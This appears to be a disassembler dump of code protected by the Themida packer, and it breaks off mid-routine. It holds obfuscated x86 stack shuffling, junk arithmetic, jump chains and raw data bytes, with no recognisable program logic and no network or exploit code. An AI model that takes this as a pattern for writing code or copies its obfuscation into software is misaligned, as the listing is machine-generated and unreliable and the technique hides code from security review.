; ---------------------------------------------------------------------------


loc_563C02:				; CODE XREF: Themida_:0055C3F8j
		push	28AFh
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56980E
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8304C4h, 242C8904h, 5FE9E589h, 89000076h,	7FB82404h
		dd 0E921CF2Bh, 0AFC7h
; ---------------------------------------------------------------------------


loc_563C3C:				; CODE XREF: Themida_:0056E43Ej
		add	esp, 4
		sub	ebx, 0F7B6D4F2h
		jmp	loc_56B70E
; ---------------------------------------------------------------------------


loc_563C4D:				; CODE XREF: Themida_:00560EFCj
		mov	eax, 0F924493Eh
		push	ecx
		push	esi
		mov	esi, 20h
		jmp	loc_56A5E3
; ---------------------------------------------------------------------------
word_563C5E	dw 8B66h		; DATA XREF: Themida_:0055C258o
		dd 0EC832404h, 604AE904h, 0F74F0000h, 9EF81DFh,	293F1D67h
		dd 0B8505FFDh, 6E701C31h, 5758C531h, 0C781E789h, 4, 0E904EF83h
		dd 0B95Ah
; ---------------------------------------------------------------------------


loc_563C90:				; CODE XREF: Themida_:0055F287j
		push	25725FE0h
		pop	edx
		jmp	loc_56C9E2
; ---------------------------------------------------------------------------


loc_563C9B:				; CODE XREF: Themida_:0056D6F5j
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_56B343
; ---------------------------------------------------------------------------


loc_563CA6:				; CODE XREF: Themida_:0055EAF5j
		mov	esp, [esp]
		jmp	loc_5623BA
; ---------------------------------------------------------------------------


loc_563CAE:				; CODE XREF: Themida_:0055CC32j
		add	edi, ebx
		jmp	loc_56F414
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 1B25E9h, 5BEBBE00h, 0F22930ABh, 58E95D5Eh
		db 86h,	2 dup(0FFh)
byte_563CCB	db 8Bh			; DATA XREF: Themida_:0055C0D4o
		dd 50E92424h, 8FFFFF86h, 4832404h, 348B0424h, 0FCE95124h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563CE3:				; CODE XREF: Themida_:005615D6j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_571498
; ---------------------------------------------------------------------------
		dd 0D9D5E95Ch, 0C281FFFFh, 49BAE8Ah, 148BD389h,	4C48324h
		dd 0EBD1D3F7h, 1645B850h, 0A2E97D13h
		db 0D8h, 2 dup(0)
byte_563D13	db 86h			; DATA XREF: Themida_:0055C0A8o
		dd 0C6862434h, 8904EC83h, 5E92404h, 8FFFFFBAh, 0D25C2404h
		dd 0E99C2424h, 0FFFF85F3h, 8BF3015Ah, 0C4812434h, 4, 0FF8BCBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563D41:				; CODE XREF: Themida_:0056B200j
		push	3CABh
		jmp	loc_56CAD9
; ---------------------------------------------------------------------------


loc_563D4B:				; CODE XREF: Themida_:0057021Bj
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5658B4
; ---------------------------------------------------------------------------


loc_563D66:				; CODE XREF: Themida_:0056679Cj
		add	ebp, 3FB75F5Fh
		add	ebp, eax
		sub	ebp, 3FB75F5Fh
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_568D7B
; ---------------------------------------------------------------------------


loc_563D8B:				; CODE XREF: Themida_:00561C5Ej
		mov	esi, 2B0C3159h
		add	[esp+8], esi
		jmp	loc_566109
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E289525Ah, 4C281h, 0C2810000h, 4, 5C241487h, 4EC81h
		dd 1C890000h, 0FFBBB24h, 0DD013F17h, 18BE565Bh,	2973BB36h
		dd 8869E9F5h, 1C33FFFFh, 2C875C24h, 48E95C24h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563DDB:				; CODE XREF: Themida_:0056B018j
		push	eax
		jmp	loc_565299
; ---------------------------------------------------------------------------


loc_563DE1:				; CODE XREF: Themida_:0055D1D1j
		mov	edi, 42743A17h
		mov	esi, edi
		pop	edi
		sub	edi, esi
		pop	esi
		sub	edi, 18EB0C18h
		jmp	loc_56DF0E
; ---------------------------------------------------------------------------


loc_563DF7:				; CODE XREF: Themida_:0056392Fj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 2000h
		jmp	loc_5664C9
; ---------------------------------------------------------------------------
		dd 33240431h, 20E92404h, 83FFFFA5h, 0E95304C4h,	0FFFFF99Bh
; ---------------------------------------------------------------------------


loc_563E24:				; CODE XREF: Themida_:0056F062j
		sub	esi, ebx
		pop	ebx
		sub	esi, 0F127EEE1h
		sub	edi, 6B4E7C16h
		add	edi, esi
		jmp	loc_565B07
; ---------------------------------------------------------------------------
		dw 0FD89h
		dd 5F5DE889h, 0AEE9D801h, 1FFFFB9h, 20E981D9h, 0E90F4C1Dh
		dd 0FFFF8983h, 0C281C201h, 5F6F5E26h, 5832BB53h, 0C3815FB5h
		dd 0F9DA24CAh, 585BDA29h, 6248EA81h, 0C28130BEh, 5EB548B0h
		dd 0EA81C229h, 5EB548B0h, 6248C281h, 0CEE930BEh, 2000005Ch
		dd 0CC805AF4h, 0E8EC80D2h, 48BE200h, 4C48324h, 51506658h
		dd 19A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_563EA5:				; CODE XREF: Themida_:0055C553j
		xor	ecx, [esp]
		jmp	loc_56B558
; ---------------------------------------------------------------------------
aHau		db '[hu',0
		dw 8900h
		dd 74FF242Ch, 0B2E90424h, 58000086h, 86EB8166h,	0FB296663h
		dd 86C38166h, 2EC8363h,	24048966h, 686EB866h, 66C30166h
		dd 0B9665158h, 81666FF7h, 661431E9h, 342BEB81h,	66CB2966h
		dd 342BC381h, 0B70F5F59h, 0E08950C0h, 405h, 4E88300h, 5C240487h
		dd 89241489h, 0E18951E2h, 2FA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_563F15:				; CODE XREF: Themida_:00567470j
		pop	ebx
		xor	ebx, 3E0F6E8Dh
		jmp	loc_56C4F9
; ---------------------------------------------------------------------------


loc_563F21:				; CODE XREF: Themida_:005652DDj
		or	eax, eax
		jnz	loc_56B80E
		push	7AC4h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1
		push	eax
		mov	eax, edx
		jmp	loc_570646
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2, 0A4FE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563F52:				; CODE XREF: Themida_:00564EDAj
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_563880
; ---------------------------------------------------------------------------


loc_563F5C:				; CODE XREF: Themida_:0055CAE1j
		sub	eax, 52A83111h
		jmp	loc_55D182
; ---------------------------------------------------------------------------
a34Se		db '34$e,',0
		align 2


loc_563F6E:				; CODE XREF: Themida_:0056C30Bj
		or	ebx, 2A3459E5h
		jmp	loc_56EEC3
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 721393B8h, 0BA27E94Eh, 0C6FEFFFFh, 31C3E9h, 0F1295B00h
		dd 8B2434FFh, 0F8E92434h, 580000A4h, 0EF88D5F6h, 240C8B66h
		dd 867EE950h, 34FFFFFFh, 0C4835E24h, 24148704h,	2404FF5Ch
		dd 8365E99Ch, 0C8BFFFFh, 4C48324h, 34FFE889h, 89E95D24h
		dd 53000052h, 512C0FBBh, 7EBC15Ch, 0A110E9h, 24048900h
		dd 76E9E089h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563FE7:				; CODE XREF: Themida_:0055F584j
		pop	esp
		jmp	loc_55E7F5
; ---------------------------------------------------------------------------


loc_563FED:				; CODE XREF: Themida_:0056E246j
		xchg	dh, [esp]
		jmp	loc_5627D4
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FFEF87E9h, 240483FFh, 24048F04h, 4EC81h, 3C890000h
		dd 4BF24h, 7C010000h, 595F0424h, 4C181h, 29E90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564023:				; CODE XREF: Themida_:0056A4A6j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 1582284Dh
		and	ecx, 73340E6Fh
		or	ecx, 2F5C5627h
		not	ecx
		jmp	loc_568784
; ---------------------------------------------------------------------------
		dd 4443EE81h, 0FEE915A2h
		db 0B1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56405B:				; CODE XREF: Themida_:00571479j
		add	ebx, ecx
		pop	ecx
		add	ebx, edx
		sub	ebx, 55091BFDh
		jmp	loc_5630E6
; ---------------------------------------------------------------------------
		db 81h
		dd 904C0FF5h, 241C8B5Ch, 5504C483h, 0D1F75D59h,	985E9h
		db 0
off_564081	dd offset dword_5C7C68	; DATA XREF: Themida_:0055C130o
		align 2
		dw 1C89h
		dd 2474FF24h, 48F5B04h,	94C7E924h, 2B80000h, 81000000h
		dd 8F0377EEh, 57C62958h, 8F037768h, 0C6815F58h,	2B241B85h
		dd 0EE81FE01h, 2B241B85h, 3487585Fh, 26E95C24h,	0F700003Dh
		dd 66C381D3h, 319BDB7Ch, 0C6815BD9h, 7E6B541Dh,	0EE81CE01h
		dd 7E6B541Dh, 713D6859h, 4890000h, 0FFACE924h, 34FFFFFFh
		dd 452CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5640F2:				; CODE XREF: Themida_:0056DBF4j
		inc	ebx
		and	ebx, 72441582h
		add	ebx, 6C7455Fh
		push	ebx
		xor	dword ptr [esp], 5ED4313Ah
		pop	eax
		jmp	loc_5702FA
; ---------------------------------------------------------------------------


loc_56410D:				; CODE XREF: Themida_:0055C445j
		add	esp, 4
		add	edx, 4
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	58DBh
		jmp	loc_56EF0A
; ---------------------------------------------------------------------------
aWicsO		db 'W&o',0
		align 4
		dd 4EC81h, 34890000h, 95C1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564156:				; CODE XREF: Themida_:005617EDj
		and	edi, 54897395h
		xor	edi, 9A25A20h
		not	edi
		not	edi
		sub	edi, 19234922h
		mov	ecx, edi
		jmp	loc_55CA84
; ---------------------------------------------------------------------------


loc_564173:				; CODE XREF: Themida_:0056051Cj
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_56BE14
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 2555E9F9h, 0D4BA0000h, 8160C011h, 2B2FF6E2h,	0A70AE91Bh
		dd 0C701FFFFh, 4C78358h, 5C243C87h, 8B24048Fh, 0FEE92424h
		dd 0FF000086h, 0DBE92434h, 4E000081h, 4AA2F681h, 0F5294CE1h
		dd 0A295E95Eh, 0C15A0000h, 0CA8102EAh, 57B379ECh, 6DE5CA81h
		dd 0F2816A29h, 62105395h, 15AD189h, 2434FFC8h, 0E92434FFh
		dd 0FFFFE187h, 81E78957h, 4C7h,	4C78300h, 5C243C87h, 0FFACE7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5641FD:				; CODE XREF: Themida_:00564706j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	7CD5h
		jmp	loc_56A3AB
; ---------------------------------------------------------------------------
		dw 489h
		dd 0C1A6824h, 70E975CCh
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56421F:				; CODE XREF: Themida_:0055EF33j
		push	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 37740D1Eh
		push	esi
		mov	esi, 31062067h
		or	esi, 10336AADh
		or	esi, 6FDA74E1h
		add	esi, 6C127681h
		jmp	loc_55FD9C
; ---------------------------------------------------------------------------
		db 81h
		dd 4E9h, 240C8700h, 240C895Ch, 0CFC4E952h, 62BD0000h, 4545DB5Eh
		dd 0FFCB09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564269:				; CODE XREF: Themida_:0055CADAj
		add	eax, edx
		push	dword ptr [eax]
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 4
		and	ecx, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		jmp	loc_56026C
; ---------------------------------------------------------------------------
		dd 5A93F681h, 4D05267Bh, 1098642h, 424D2DF0h, 8B5E0986h
		dd 0C4832434h, 38F86804h, 0C890000h, 2E726824h,	1C890000h
		dd 0A236E924h
		db 2 dup(0FFh)
word_5642C6	dw 248Bh		; DATA XREF: Themida_:0055C188o
		dd 8055E924h, 0CD01FFFFh, 0FFEDFEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5642D5:				; CODE XREF: Themida_:005616B8j
		pop	edx
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 2F1208D1h
		sub	edx, 2F1208CDh
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	al, 0A9h
		push	edx
		mov	dl, al
		jmp	loc_560E1B
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 92B6A1Bh, 2C6815Ah, 51000000h, 0C181E189h, 4, 4BF57h
		dd 0F9290000h, 0B968E95Fh, 5A66FFFFh, 66524904h, 0DB84E950h
		dd 15BAFFFFh, 0C15BB13Fh, 0DAF705EAh, 56E9E9h, 4EC8300h
		dd 0E9241489h, 2248h
; ---------------------------------------------------------------------------


loc_564348:				; CODE XREF: Themida_:005704F2j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_562B0B
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 0FFA46CE9h, 7BB8BDFFh, 0C5814E5Bh, 288EF9FEh, 0E95DE829h
		dd 89AFh, 68242C89h, 5C160ECAh,	3B46E9h
		db 0
; ---------------------------------------------------------------------------


loc_564391:				; CODE XREF: Themida_:0056DF9Cj
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_570043
; ---------------------------------------------------------------------------


loc_5643A7:				; CODE XREF: Themida_:0056E9FAj
		or	eax, eax
		jz	loc_570F86
		push	dword ptr [edi+1Ch]
		jmp	loc_563B02
; ---------------------------------------------------------------------------
		db 58h
		dd 8B241487h, 34682424h, 89000016h, 968242Ch, 89000009h
		dd 4B82404h, 89000000h,	950CE9C5h, 0D1F7FFFFh, 0FFE6ADE9h
		dd 45B068FFh, 0E93D20h
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5643EB:				; CODE XREF: Themida_:0056A5E5j
		pop	esi
		add	ecx, edi
		add	[ecx], eax
		jmp	loc_56665C
; ---------------------------------------------------------------------------


loc_5643F5:				; CODE XREF: Themida_:0056E6BEj
		pop	ebp
		jmp	loc_55CA70
; ---------------------------------------------------------------------------
		db 29h
		dd 0C1015AD0h, 0FFF1AEE9h, 0F0BF57FFh, 0C11F4148h, 474F03E7h
		dd 0BFC7814Fh, 0E9176215h, 7F40h, 1259BB53h, 0DE296228h
		dd 0AFD6E95Bh, 0AA68FFFFh, 8900001Bh, 61BB241Ch, 0E9672A2Bh
		dd 90DDh, 0D324248Bh, 0E99C2424h, 0FFFF7EDBh, 35BB6852h
		dd 1C890000h, 0B28DB324h, 0E9DA2817h, 8A14h, 8106EAC1h
		dd 4F47F2F2h, 0E9565578h, 0FFFFCD05h, 5C240487h, 2404D366h
		dd 7EA9E99Ch, 5CB0FFFFh, 2407E0C0h, 8576E918h, 34890000h
		dd 685E5424h, 13F6h, 0BF243C89h, 4, 4BB5C681h, 0EE816A04h
		dd 4FC104D8h, 2329E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5644AA:				; CODE XREF: Themida_:00570593j
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	2
		jmp	loc_55FDA2
; ---------------------------------------------------------------------------
		dd 8A240480h, 25242C80h, 80242C28h, 80252404h, 8A8A242Ch
		dd 0A468242Ch, 89000029h, 0E2892414h, 8904EC83h, 8950241Ch
		dd 405E0h, 74E90000h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5644FF:				; CODE XREF: Themida_:00570422j
		push	2249h
		jmp	loc_560305
; ---------------------------------------------------------------------------
		db 0B9h, 0F0h, 29h
aNS		db '',0Dh,':',0
		dw 8800h
		dd 241C8BD9h, 8304C483h, 2E904ECh, 810000CCh, 0BE4D2BC1h
		dd 68575279h, 7A662C15h, 2DE9475Fh
		db 93h,	2 dup(0)
byte_564537	db 66h			; DATA XREF: Themida_:0055C0D8o
		dd 9C241CF7h, 0FF7DE2E9h, 0EAE981FFh, 0E90072A9h, 0FFFF986Eh
		dd 0E689565Fh, 4C681h, 0EE830000h, 1965E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56455E:				; CODE XREF: Themida_:00560FFAj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		jmp	loc_56E41A
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0D0F79159h, 0E9575591h, 28ACh, 74351BB8h, 0BFFEE963h
		dd 34FFFFFFh, 58E95B24h, 680000C7h, 0BE738BF4h,	14C58158h
		dd 1034B7Fh, 14ED81C5h,	0E9034B7Fh, 2B47h, 0E904C783h
		dd 2E5Ah, 8C458FBEh, 3EEC169h, 3AFDB850h, 0C609529Bh, 8324048Bh
		dd 0BF5704C4h, 7C335665h, 93E9DFF7h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5645CF:				; CODE XREF: Themida_:00561670j
		add	esp, 4
		jmp	loc_55D05A
; ---------------------------------------------------------------------------


loc_5645DA:				; CODE XREF: Themida_:005696FDj
		add	[esp+4], ecx
		pop	ecx
		pop	eax
		add	eax, 4
		push	1185h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_56DA09
; ---------------------------------------------------------------------------
aLS		db '<$޵',0
		db 0
; ---------------------------------------------------------------------------


loc_5645FF:				; CODE XREF: Themida_:0056BE1Dj
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_55EF46
; ---------------------------------------------------------------------------
aG5tfsg		db '5fG',0
		align 2
		dw 3481h
		dd 0A20D9224h, 0F2815A34h, 34A20D92h, 89555E5Bh, 5DEB89D5h
		dd 5724148Bh, 4D8FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56463D:				; CODE XREF: Themida_:0056DB32j
		push	edi
		mov	edi, 0FFFFFFFFh
		add	eax, edi
		pop	edi
		jmp	loc_568B46
; ---------------------------------------------------------------------------


loc_56464B:				; CODE XREF: Themida_:00563B1Aj
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	ebp
		jmp	loc_55C58E
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 5Eh
		dd 31241C33h, 1C33241Ch, 4895C24h, 48B5424h, 4C48324h
		dd 72ADBA52h, 0D7E9612Ah, 58FFFFE5h, 6475F381h,	0DA31D6E3h
		dd 0E9D1295Bh, 0A28h
; ---------------------------------------------------------------------------


loc_56468C:				; CODE XREF: Themida_:0056389Dj
		mov	[esp], edx
		mov	edx, 4DFA1C4Ch
		shl	edx, 7
		push	eax
		mov	eax, 6D011824h
		add	eax, 5A7169C4h
		add	eax, 54040E6h
		xor	eax, 2EB034F4h
		xor	eax, 79D509A1h
		push	ebp
		mov	ebp, 4AD24463h
		add	ebp, 4E13E134h
		sub	eax, ebp
		pop	ebp
		add	edx, eax
		pop	eax
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_567771
; ---------------------------------------------------------------------------


loc_5646E3:				; CODE XREF: Themida_:0056FD1Cj
		sub	edx, edi
		pop	edi
		jmp	loc_56B905
; ---------------------------------------------------------------------------
		db 66h
		dd 666525B8h, 660EAA2Dh, 0E9FFC083h, 0FFFFA052h
; ---------------------------------------------------------------------------


loc_5646FC:				; CODE XREF: Themida_:00564788j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5641FD
; ---------------------------------------------------------------------------
byte_56470B	db 0FFh			; DATA XREF: Themida_:0055C110o
		dd 81592434h, 4ECh, 243C8900h, 2D65E9h,	44EE8100h, 2978E071h
		dd 44C681C6h, 5878E071h, 0C681DE01h, 66B36F7Bh,	49AEBD55h
		dd 0EE2942A8h, 2434FF5Dh, 4C4815Bh, 83000000h, 0EC8302C6h
		dd 24348904h, 42474FFh,	8324348Bh, 48F04C4h, 24248B24h
		dd 24040966h, 7BB9E99Ch, 8951FFFFh, 82F0E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564772:				; CODE XREF: Themida_:00560312j
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5646FC
; ---------------------------------------------------------------------------
		db 5Ch,	83h, 0ECh
		dd 240C8904h, 0C181E189h, 4, 24BB5352h,	81298441h, 0A06004CBh
		dd 0BCE38168h, 0F75E001Ah, 0B908E9DBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647B6:				; CODE XREF: Themida_:00565BD6j
		add	ecx, 4B6D7592h
		xor	ecx, 4C574235h
		sub	ebp, 1DB54FF5h
		add	ebp, ecx
		add	ebp, 1DB54FF5h
		pop	ecx
		push	ecx
		mov	ecx, 2AA712CDh
		add	ecx, 77BF1AE2h
		xor	ecx, 2CFE7473h
		jmp	loc_561B17
; ---------------------------------------------------------------------------
aISS6purh	db ',$S6uRh(',0
		dw 8900h
		dd 2C81241Ch, 4044CA24h, 24148B0Eh, 8104C483h, 4044CAC2h
		dd 5AD5890Eh, 5DE8315Bh, 0E91C4709h, 0FFFFD9E2h, 30DEBD55h
		dd 0EE89C8BAh, 0AB64E9h, 34FF5400h, 243C8B24h, 4C481h
		dd 89530000h, 4C381E3h,	83000000h, 0EC8304C3h, 241C8904h
		dd 42474FFh, 24048F5Bh,	9568535Ch, 8900007Dh, 0E957240Ch
		dd 0FFFFE3DFh
; ---------------------------------------------------------------------------


loc_564860:				; CODE XREF: Themida_:0055E980j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5696EC
; ---------------------------------------------------------------------------


loc_564869:				; CODE XREF: Themida_:0056B948j
		sub	esp, 4
		mov	[esp], ebp
		push	44607900h
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	esi
		push	914710Eh
		jmp	loc_55E9A7
; ---------------------------------------------------------------------------
		db 1, 2	dup(0E9h)
		dd 247Dh, 4BAh,	5AD02900h, 31240433h, 4332404h,	0D4E95C24h
		dd 87000072h, 505C2434h, 0CE52CBB8h, 62B250Eh, 95E90339h
		dd 810000B7h, 8791D5C5h, 8BEA292Dh, 0C481242Ch,	4, 685AD001h
		dd 248Ch, 5888E9h
		db 0
; ---------------------------------------------------------------------------


loc_5648D9:				; CODE XREF: Themida_:005678A7j
		sub	cl, dh
		sub	cl, 0Ch
		pop	edx
		add	al, cl
		pop	ecx
		add	bl, 40h
		jmp	loc_560DAE
; ---------------------------------------------------------------------------


loc_5648EA:				; CODE XREF: Themida_:0056F50Dj
		pop	ecx
		sub	eax, 1FF33509h
		add	eax, edx
		add	eax, 1FF33509h
		pop	edx
		push	8E8h
		mov	[esp], edi
		push	6A0h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_5676A8
; ---------------------------------------------------------------------------
		dd 5004C483h, 5055B151h, 0D1E925B4h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56491F:				; CODE XREF: Themida_:00564BD0j
		mov	esi, ecx
		pop	ecx
		add	[esp+4], esi
		jmp	loc_560E24
; ---------------------------------------------------------------------------
		db 8Fh
		dd 76682404h, 89000025h, 13E92414h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56493B:				; CODE XREF: Themida_:00565726j
		push	1A3Ch
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56C320
; ---------------------------------------------------------------------------


loc_564951:				; CODE XREF: Themida_:00568044j
		sub	dword ptr [esp+4], 734924D3h
		add	[esp+4], ebp
		jmp	loc_5607A6
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 96D44A5Ch, 575FFE31h, 0E37FA8BFh, 73C7812Ch,	2DF15DF0h
		dd 19550B7Ah, 7A05F829h, 5F19550Bh, 397DE9h
		db 0
; ---------------------------------------------------------------------------


loc_564989:				; CODE XREF: Themida_:00570341j
		mov	esp, [esp]
		jmp	loc_56E5BB
; ---------------------------------------------------------------------------


loc_564991:				; CODE XREF: Themida_:0056029Bj
		mov	esi, 4
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55DA06
; ---------------------------------------------------------------------------
		db 0BAh, 3Eh, 14h
		dd 0D2F776B6h, 59E6F281h, 0EA815688h, 0D17B700Eh, 15AD729h
		dd 19C781CFh, 8B0E4642h, 0C481240Ch, 4,	8B243C87h, 1662424h
		dd 0E99C2404h, 0FFFF794Bh
; ---------------------------------------------------------------------------


loc_5649D8:				; CODE XREF: Themida_:0055E0A3j
		pop	eax
		pop	ebx
		push	42C3h
		jmp	loc_56CB23
; ---------------------------------------------------------------------------
		dd 9CE9E957h, 0C8BFFFFh, 948FE924h, 0E95CFFFFh,	0FFFFC287h
; ---------------------------------------------------------------------------


loc_5649F8:				; CODE XREF: Themida_:0055F0FCj
		sub	ebp, edx
		pop	edx
		sub	ebp, 0C2B3352h
		jmp	loc_56882D
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 49AE2295h, 25DBE181h, 0C18166D6h, 0FF7BFAB0h, 5159CE89h
		dd 0C181E189h, 4, 61D6E955h, 2C8B0000h,	4C48324h, 0FFEF46E9h
		dd 1FE958FFh
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564A3B:				; CODE XREF: Themida_:0056895Dj
		xor	eax, 0EDA0F938h
		jmp	loc_570D5B
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 228CE900h, 0D9F70000h,	4201E9h
		db 0
; ---------------------------------------------------------------------------


loc_564A59:				; CODE XREF: Themida_:0056B41Dj
		mov	edx, esp
		jmp	loc_562773
; ---------------------------------------------------------------------------


loc_564A60:				; CODE XREF: Themida_:0056E997j
		add	edi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_571463
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2AC6BD24h, 0EF310457h, 8BFE015Dh, 0EC81243Ch, 4, 89240489h
		dd 0E9BE56E0h, 0F70B166Ah, 81D6F7DEh, 166AE4EEh, 5EF0010Bh
		dd 5004C083h, 1E62E9h, 1ED8100h, 0C1000000h, 0ED8106E5h
		dd 0FFFFFFFFh, 24C1B850h, 0C5314C1Eh, 8324048Bh, 0EB8904C4h
		dd 0FFFF5DE9h, 0CCEA81FFh, 81026A04h, 4A74E1F2h, 8A52E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564ADE:				; CODE XREF: Themida_:005602D8j
		add	cl, 75h
		push	0
		sub	[esp], cl
		mov	cl, [esp]
		add	esp, 4
		jmp	loc_562C72
; ---------------------------------------------------------------------------
		dd 8C1AF12Dh, 0B622D44h, 6E2D7756h, 8B33C94Eh, 0CEE9241Ch
		dd 8300008Dh, 0EC8304C4h, 240C8904h, 50525954h,	0EA2C1EB8h
		dd 2C22BA01h, 8FE901EAh, 0BBFFFF81h, 205E6249h,	1CE8E955h
		dd 0B7530000h, 0FFEF802Ah, 52EDE780h, 3AE9EAB2h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B43:				; CODE XREF: Themida_:0056F0ABj
		add	esp, 4
		and	eax, ebp
		jmp	loc_570E1C
; ---------------------------------------------------------------------------
		dd 77ADBA52h, 0D6890E29h, 5A2434FFh, 0E640E957h, 0C483FFFFh
		dd 4C48104h, 0E9000000h, 31CEh
; ---------------------------------------------------------------------------


loc_564B70:				; CODE XREF: Themida_:0056F7CFj
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56B6EC
; ---------------------------------------------------------------------------


loc_564B8B:				; CODE XREF: Themida_:0057066Ej
		push	esi
		push	eax
		jmp	loc_55F360
; ---------------------------------------------------------------------------


loc_564B92:				; CODE XREF: Themida_:00568D76j
		push	eax
		mov	al, 3Ch
		xor	al, 7Bh
		mov	bl, al
		pop	eax
		mov	dl, 7
		xor	dl, bl
		pop	ebx
		jmp	loc_55DF10
; ---------------------------------------------------------------------------
		dd 5C240487h, 0E9241489h, 0FFFFB566h
; ---------------------------------------------------------------------------


loc_564BB0:				; CODE XREF: Themida_:0056C438j
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
